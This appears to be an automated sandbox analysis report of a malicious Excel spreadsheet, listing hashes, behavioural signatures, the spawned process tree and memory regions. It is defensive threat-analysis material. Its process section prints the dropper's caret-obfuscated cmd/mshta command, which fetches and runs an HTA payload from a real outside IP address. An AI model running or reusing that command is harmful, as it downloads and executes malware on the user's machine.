Analysis

  • max time kernel
    133s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-11-2024 17:46

General

  • Target

    088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls

  • Size

    64KB

  • MD5

    a10dd8119334b7870a703ada55cb4cd7

  • SHA1

    d25ca7d806afbaeb28915b1938380e3861dc23ba

  • SHA256

    088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940

  • SHA512

    33958baffd9da228313a3b5e25dc54060de84d154e3648494fffe7a02d388e86bcbed91511c89299a13b33657c8b26664f32d75e84834c337e5d9c2380bcbf7e

  • SSDEEP

    1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://87.251.86.178/pp/cc.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3640
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Windows\system32\mshta.exe
        mshta http://87.251.86.178/pp/cc.html
        3⤵
        • Blocklisted process makes network request
        PID:4744

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    3KB

    MD5

    93199082d8b7137b3ddb9c24148ec5ec

    SHA1

    de27068caf72d50b0a51ce8738f16f86386fcc21

    SHA256

    9bcae2bb0631f1009341b1b0da4627a265c6e2a04432197e86771eb95190d6c5

    SHA512

    d06d24853c77488923450b6578f38e8a112d4146b8b40d94b2a8fe53cd925c4fd8b7a166f256268b3d700e05b09a1f03df7f20fc3faf40c0749da5e86d832f2f

  • memory/3640-12-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-16-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-1-0x00007FF971250000-0x00007FF971260000-memory.dmp

    Filesize

    64KB

  • memory/3640-0-0x00007FF971250000-0x00007FF971260000-memory.dmp

    Filesize

    64KB

  • memory/3640-3-0x00007FF9B126D000-0x00007FF9B126E000-memory.dmp

    Filesize

    4KB

  • memory/3640-6-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-8-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-10-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-9-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-7-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-4-0x00007FF971250000-0x00007FF971260000-memory.dmp

    Filesize

    64KB

  • memory/3640-2-0x00007FF971250000-0x00007FF971260000-memory.dmp

    Filesize

    64KB

  • memory/3640-13-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-15-0x00007FF96F1F0000-0x00007FF96F200000-memory.dmp

    Filesize

    64KB

  • memory/3640-14-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-20-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-19-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-22-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-21-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-18-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-17-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-5-0x00007FF971250000-0x00007FF971260000-memory.dmp

    Filesize

    64KB

  • memory/3640-33-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp

    Filesize

    2.0MB

  • memory/3640-11-0x00007FF96F1F0000-0x00007FF96F200000-memory.dmp

    Filesize

    64KB